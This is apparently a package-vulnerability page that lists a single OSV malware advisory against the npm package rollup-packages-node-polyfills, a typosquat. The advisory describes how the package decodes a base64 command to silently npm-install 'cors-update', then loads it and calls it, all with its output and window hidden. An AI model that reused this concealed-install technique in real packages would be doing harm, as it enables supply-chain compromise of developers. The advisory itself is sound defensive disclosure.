0vulnerabilities
- Critical0 (0.0%)
- High0 (0.0%)
- Medium0 (0.0%)
- Moderate0 (0.0%)
- Low0 (0.0%)
rollup-packages-node-polyfills
Ecosystem: npm
Downloads:
- 0CriticalAffects 0 versions
- 0HighAffects 0 versions
- 0MediumAffects 0 versions
- 0ModerateAffects 0 versions
- 0LowAffects 0 versions
Monthly breakdown
- 0 vulnerabilities
- Critical: 0
- High: 0
- Medium: 0
- Moderate: 0
- Low: 0
Vulnerabilities (1)
Known vulnerabilities affecting rollup-packages-node-polyfills, based on data from OSV.
| ID | Severity | Summary | Affected versions | Published | Source |
|---|---|---|---|---|---|
| MAL-2026-12428 | Unknown | Malicious code in rollup-packages-node-polyfills (npm)--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (dd41e8f4e3846a790a96f518bbdcfe70be2839531c5ea5485924e7fd25603399) The package is a typosquat of `rollup-plugin-polyfill-node`. On `require()` of the main entry (`dist/index.js`), a base64-encoded command `npm install cors-update --no-save --silent --no-audit --no-fund` is decoded and passed to `child_process.spawn` with `stdio:'ignore'` and `windowsHide:true`. When the install child exits, the code then base64-decodes the module name `cors-update`, dynamically `require`s it, and invokes `.getPlugin()()`, |
| OSV (opens in a new tab) |
- MAL-2026-12428UnknownMalicious code in rollup-packages-node-polyfills (npm)
all
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (dd41e8f4e3846a790a96f518bbdcfe70be2839531c5ea5485924e7fd25603399) The package is a typosquat of `rollup-plugin-polyfill-node`. On `require()` of the main entry (`dist/index.js`), a base64-encoded command `npm install cors-update --no-save --silent --no-audit --no-fund` is decoded and passed to `child_process.spawn` with `stdio:'ignore'` and `windowsHide:true`. When the install child exits, the code then base64-decodes the module name `cors-update`, dynamically `require`s it, and invokes `.getPlugin()()`,